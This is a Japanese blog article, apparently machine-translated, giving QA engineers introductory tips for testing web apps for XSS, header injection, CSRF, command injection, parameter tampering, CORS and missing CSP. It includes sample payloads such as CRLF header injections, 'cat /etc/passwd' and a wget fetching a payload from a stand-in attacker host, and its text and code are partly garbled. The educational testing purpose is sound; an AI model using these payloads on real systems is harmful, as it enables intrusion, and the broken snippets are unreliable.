サイバーセキュリティの要点: QA エンジニアのための実践的な Web アプリセキュリティテストのヒント

この記事では、基本的な脆弱性とテスト手法を検討し、Web アプリの侵入テストのスキルを強化するための実践的な洞察を提供します。この記事は、QA エンジニアとアナリストに特化した私の一連の投稿を組み合わせたもので、基本的なサイバーセキュリティの脆弱性の実践的な調査を提供します。その目的は、ソフトウェア QA と の間のギャップを埋める知識を QA エンジニア/テスター/アナリストに提供し、Web アプリケーションの整合性とセキュリティを確保するための統一されたアプローチを促進することです。 サイバーセキュリティ これは究極のガイドではありませんが、サイバーセキュリティ分野に興味がある QA エンジニアとしての私の経験を共有したいと思います。いくつかの側面をより深く学びたい場合には、いくつかの役立つリンクが付いた非常に表面的な情報になります。 1. XSS (クロスサイト スクリプティング) 重大かつ最も一般的な脆弱性の 1 つは XSS - https://owasp.org/www-community/attachs/xss/ 現場やフロントエンド開発テクノロジーに関する広範な知識がなくても、XSS をテストする方法に関する簡単なアプローチとヒントを共有します。 たとえば、アプリの入力フィールドに、スクリプト タグとそれに続く JS コードを入力します。 alert('XSS'); (%0ejavascript:alert(/XSS/)) 入力を送信して、スクリプトが実行されるかどうかを確認します。 存在する場合、アプリケーションは XSS 攻撃に対して脆弱になります。 スクリプトが実行されない場合は、 や それらがページに反映されるかどうかを確認してください。たとえば (この例は私にとってはほぼ常に機能します) などの他の HTML タグを追加して入力を変更し、 t #`"/*—est Web アプリの URL、ユーザー名、アップロードされたファイル名 ( )、またはアプリ ページに表示される変更可能なテキストのパラメーターをクエリするスクリプトを追加できます。 。 https://github.com/cure53/H5SC 入力のフロントエンド検証に注意してください。常に直接リクエスト (Postman、Burp、または同様のツールを使用) を使用して値を送信するようにしてください。 ファジングとペイロードのリストを使用します。可能であればこのアプローチを自動化するか、特別なツールを使用します。 ツールについて言えば、XSS を発見し、さまざまなものを試し、さまざまなアプリで結果を何度も比較し、最も気に入ったものを選択するためのツールがたくさんあります: (私はたくさん使いました) OWASP ZAP および BurpSuite)。 https://linuxhint.com/free_xss_tools/ 個人的には、ここ ( ) のペイロードと情報を使用するのが好きです。私の意見では、非常に便利なリソースです。 https://github.com/s0md3v/AwesomeXSS XSS とペイロードの詳細については、次のリソースを参照してください。 https://owasp.org/www-community/攻撃/xss/ https://portswigger.net/web-security/cross-site-scripting/cheat-sheet https://gist.github.com/kurobeats/9a613c9ab68914312cbb415134795b45 2. ヘッダーインジェクション この脆弱性は、攻撃者が Web サイトのヘッダーに悪意のあるコードを挿入し、不正なアクションを実行したり機密情報にアクセスしたりできる場合に発生します。 ヘッダー挿入をテストするには、いくつかの手順に従います。 Postman、Burp などのツールを使用して HTTP ヘッダーを操作し、未承認のヘッダーを追加したり、既存のヘッダーを変更したりできるかどうかを確認します。 サーバーが応答ヘッダーで機密情報を送信しているかどうかを確認します。 悪意のあるコンテンツを追加したり、その値を変更したりして、Cookie を操作しようとします。ヘッダー挿入をテストするペイロードの一例は、ヘッダー フィールドに改行文字を含め、その後に追加のヘッダーを含めることです。 (%0d%0a OR \r\n) たとえば、次のペイロードを使用して Set-Cookie ヘッダーを挿入できます。 User-Agent: Mozilla/5.0\r\nSet-Cookie: sessionid=111111 https:// yoursite. com?cookie=123%0D%0ASet-Cookie%3A%20TESTCOOKIE=hacked もう 1 つの例は、Host ヘッダー インジェクションです。この場合、攻撃者は Host ヘッダーを操作して、同じサーバー上の別の Web サイトまたはサブドメインにアクセスできます。例えば： Host: yoursite.com\r\n\r\nGET /admin HTTP/1.1\r\nHost: admin.yoursite.com ヘッダー インジェクションの詳細については、次のリソースを参照してください。 https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/17-Testing_for_Host_Header_Injection https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning https://www.acunetix.com/blog/web-security-zone/http-header-injection/ https://portswigger.net/web-security/host-header/exploiting 3. CSRF (クロスサイトリクエストフォージェリ) CSRF は、悪意のある Web サイトがユーザーをだまして、ユーザーが現在ログインしている別の Web サイトで動作するときに発生します。このタイプの攻撃により、ユーザーに代わって不正なアクション (あらゆる POST リクエスト) が実行される可能性があります。 CSRF 脆弱性をテストするには、簡単に言うと次の手順を実行できます。 Web サイト上で機密性の高いアクションを実行するフォームやアクションを見つけます。これには、パスワードの変更やトランザクションの実行 (または、ユーザーの知らないうちにユーザーに代わって実行されるとユーザーに有害となる可能性のあるその他の投稿リクエスト) が含まれる可能性があります。 同じアクションを実行する非表示フォームを含む HTML ページまたはコード スニペットを作成します。次に例を示します。 このコードを HTML ファイルとして保存し、テストするサイトにログインしているのと同じブラウザで開きます。 ユーザーの知識や許可なしにアクションが実行されたかどうかを確認します。 2 の例では、ユーザーはだまされて Web サイトにアクセスし、ターゲット Web サイト上の攻撃者のアカウントに 1000 を送金するための隠しフォームを自動的に送信します。 CSRF 攻撃を防ぐには、反 CSRF トークンまたは同一サイト Cookie を使用してリクエストの送信元を検証します。これらのトークンは、サーバーによって生成され、フォームまたは URL パラメーターに含まれる一意の値です。フォームが送信されると、サーバーはトークンが期待値と一致するかどうかを確認し、一致しない場合はリクエストを拒否します。 Python の例を次に示します。 import requests # Get the CSRF token from the cookie def get_csrf_token(): cookie = requests.utils.dict_from_cookiejar(requests.cookies) return cookie.get('csrfToken') # Send an HTTP request with the CSRF token in the headers def send_http_request(url, data): csrf_token = get_csrf_token() headers = { 'Content-Type': 'application/json', 'X-CSRF-TOKEN': csrf_token } response = requests.post(url, headers=headers, data=data) return response 役立つリソース: https://owasp.org/www-community/攻撃/csrf https://portswigger.net/web-security/csrf https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html 4. RCE (リモートコード実行) とコマンドインジェクション RCE およびコマンド インジェクションの脆弱性は、攻撃者がターゲット システム上で任意のコードまたは OS コマンドを実行できる場合に発生します。このようなタイプの攻撃は、システムを完全に侵害し、機密データへの不正アクセスを引き起こす可能性があります。 RCE およびコマンド インジェクションの脆弱性をテストするには、簡単に言うと、次の手順を実行できます。 操作できる入力フィールドまたはパラメータを特定します。これらの入力フィールドまたはパラメータは、フォーム、URL パラメータ、Cookie、HTTP ヘッダーなど、さまざまな場所で見つけることができます。そのようなパラメータを識別するには、Burp Suite などのツールを使用できます。 HTTP リクエストとレスポンスを変更します (無料バージョン)。 Burp は、入力フィールドやパラメータを含むすべてのリクエストとレスポンスをキャプチャして表示します。パラメータを取得したら、挿入されたコードまたは OS コマンドの実行にそれらを使用できるかどうかを確認する必要があります。 これらのフィールドまたはパラメータに悪意のあるペイロードを挿入します。考えられる簡単な例をいくつか示します。 ; ls -la - list the contents of a directory cat /etc/passwd - show the password file wget https://myhackersite.evil/payload - download files with malicious code from a remote server ping -c 1 https://www.linkedin.com/redir/general-malware-page?url=myhackersite%2eevil%2ecom - ping the attacker's website 3 アプリケーションの動作をチェックして、ペイロードが正常に実行されたかどうか、機密情報が送信されたかどうかを確認します。たとえば、 を使用し、アプリケーションがサーバー上のファイルとディレクトリのリストを表示した場合、これはペイロードが正常に実行され、アプリケーションがコマンド インジェクションに対して脆弱であることを示します。 ls -la すべてのペイロードが何らかの目に見える出力をもたらすわけではありません。このような場合、ネットワーク トラフィックの監視やログ ファイルの確認など、他の方法を使用する必要がある場合があります。 RCE およびコマンド インジェクション攻撃を防ぐには、ユーザー入力を検証し、悪意のある文字やコマンドを削除またはサニタイズする必要があります。 さらなる学習に役立つリソースをいくつか紹介します。 https://owasp.org/www-community/攻撃/Command_Injection https://owasp.org/www-community/攻撃/Code_Injection https://portswigger.net/web-security 5. Webパラメータの改ざん このタイプの攻撃は、クライアント側からサーバー側に送信されるパラメータを操作するときに発生し、不正アクセスや権限昇格などを引き起こします。 このタイプの脆弱性をテストするには、次の手順を実行できます。 操作できる入力フィールドまたはパラメータを特定します。他の脆弱性と同様に、Burp Suite などのツールを使用して HTTP リクエストとレスポンスを傍受し、変更することができます。 パラメータを変更します。たとえば、パラメータが製品の価格を制御する場合、より低い価格でアイテムを購入するようにパラメータを変更できます。 - 製品の価格を 10 から 1 に変更します。 - ユーザー ID パラメータを操作して認証をバイパスします。 - パラメータを変更します。返金を受けるには製品の数量を負の数に設定し、1 つの商品の価格でより多くの商品を入手するにはより大きな数に設定します。 アプリケーションの動作をチェックして、改ざんが成功したかどうかを確認します。たとえば、価格の変更に成功した場合、カートまたはレシートを確認するときにアプリケーションにその変更が反映されるはずです。 そしてもちろん、セキュリティリスクになる前に問題を解決できるよう、発見したことを開発者に報告してください。 Web パラメータ改ざん攻撃を防ぐには、入力の検証とサニタイズが重要です。すべての入力データがサーバー側で検証され、アプリケーションが悪意のある入力を拒否するようにしてください。 QA は通常開発プロセスに関与しない情報セキュリティ エンジニアよりもアプリケーション/製品とそのロジックとパラメータについてよく知っているため、この種の脆弱性は QA チームによって特定されるのに最適であると言えます。 Web パラメーターの改ざんについて詳しく知るために役立つ追加リソースをいくつか紹介します。 https://owasp.org/www-community/攻撃/Web_Parameter_Tampering https://www.geeksforgeeks.org/web-parameter-tampering-攻撃-on-web-servers/ https://www.imperva.com/learn/application-security/parameter-tampering/ 6. クロスオリジンリソース共有 (CORS) これは、Web ページがその Web ページを提供したドメインとは異なるドメインにリクエストを送信することを制限するセキュリティ メカニズムです。 次の手順を実行してテストできます。 ホストへのアクセスを禁止するドメイン (例: google.com) をブラウザで開きます。 ブラウザのコンソールで次のコマンドを使用します。 fetch('https://beapimysite.com') .then(response=>response.json()) .then(data=>{ console.log(data); }) すべてが正しく構成されている場合は、次の内容が得られるはずです。 access to fetch at 'https://beapimysite.com' from origin 'https://www. google.com' has been blocked by CORS policy: No 'Access-Control-Allow-Origin' header is present on the requested resource. 次の簡単な手順を実行します。 リクエストに含まれる送信元ドメインと宛先ドメインを見つけます。送信元ドメインはリクエストを行う Web ページのドメインで、宛先ドメインはリクエストの送信先のドメインです。 Postman などのツールを使用して、送信元ドメインから送信先ドメインにリクエストを送信します。リクエストがクロスオリジンリクエストであることを示す適切なヘッダーを必ず含めてください。 サーバーは、送信元ドメインからの要求が許可されていることを示すために、応答に Access-Control-Allow-Origin ヘッダーを含める必要があります。このヘッダーが欠落しているか、別の値に設定されている場合は、アプリケーションに脆弱性があることを示している可能性があります。 Access-Control-Allow-Origin ヘッダーが欠落しているか、値が設定されている場合は、リクエストを変更して制限を回避してみてください。たとえば、宛先ドメインに一致するように Origin ヘッダーを変更したり、別の HTTP メソッドを使用したりすることができます。テストするリクエストの例をいくつか示します。 Request from https://mysite.com to https://beapimysite.com: GET /api/data HTTP/1.1 Host: beapimysite.com Origin: https ://mysite.com Access-Control-Request-Method: GET Access-Control-Request-Headers: X-Requested-With 応答： HTTP/1.1 200 OK Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, OPTIONS Access-Control-Allow-Headers: X-Requested-With CORS の詳細については、次の役立つリソースを参照してください。 https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS https://portswigger.net/web-security/cors 7. コンテンツ セキュリティ ポリシー (CSP) ヘッダーが設定されていない CSP は、Web ページへのロードを許可するコンテンツ ソースを指定できるようにすることで、XSS 攻撃の防止に役立つメカニズムです。 CSP ヘッダー セットがないと、悪意のあるスクリプトをページに挿入し、機密のユーザー データを盗んだり、その他のアクションを実行したりする可能性があります。 CSP ヘッダーを確認するには、次の手順を実行します。 ブラウザでテストする Web ページを開きます。 ブラウザで開発ツールを開き、コンソールに移動します。 次のコードを入力します。 document.cookie=TESTCOOKIE=XSS; 正常に実行された場合、エラー メッセージは表示されません。これは、外部ソースからの Cookie の設定が許可されているため、ページが XSS に対して潜在的に脆弱であることを示しています。 スクリプトをページに挿入して、実行されるかどうかを確認してください。たとえば、次のコードをブラウザのコンソールに挿入します。 var script = document.create; Element('script');script.src = 'http://dangeroussite.com/dolphin.js'; document.head.appendChild(script); 応答ヘッダーで Content-Security-Policy ヘッダーを探します。このヘッダーが欠落している場合は、Web ページに CSP ヘッダーが設定されていないことを意味します。 CSP ヘッダーは、Web アプリのセキュリティにおいて重要なものです。 CSP の詳細については、次を参照してください。 https://cheatsheetseries.owasp.org/cheatsheets/Content_Security_Policy_Cheat_Sheet.html https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP サイバーセキュリティとソフトウェア QA の共生関係は、ソフトウェア アプリのセキュリティの観点から重要です。脅威モデリング手法と自動化されたファズ テスト手法の統合を通じて、QA エンジニアはセキュリティ脆弱性の早期検出と軽減に大きく貢献します。サイバーセキュリティチームと QA チームの連携は、ソフトウェア開発への統一アプローチの不可欠な部分を形成しており、QA の役割は機能テストやユーザビリティテストを超えて、潜在的なセキュリティ欠陥の事前の特定と修正を含むように拡張されています。 QA をサイバーセキュリティへの取り組みにおける戦略的資産として認識することは重要です。QA はデータ保護を強化するだけでなく、企業の評判、顧客の信頼、全体的な財務の安定も守るからです。 QA 専門家の技術スキルと厳格なテスト実践により、サイバー脅威に対する堅牢な防御が確立されます。 重要な注意事項: 侵入テストは常に明示的な許可を得て、管理された環境内で実施してください。この倫理的アプローチにより、セキュリティ評価が責任あるテスト プロトコルと一致することが保証され、システムへの不注意による侵害が防止され、テスト プロセスと包括的なサイバーセキュリティ戦略の両方の整合性が維持されます。 この記事では、QA エンジニアが Web アプリのセキュリティ テストを改善し、ソフトウェア QA とサイバーセキュリティを結び付ける実践的なヒントを紹介します。これは、詳細を知りたい人向けの洞察と役立つリンクを備えた初心者向けのガイドです。 でも公開されています。 ここ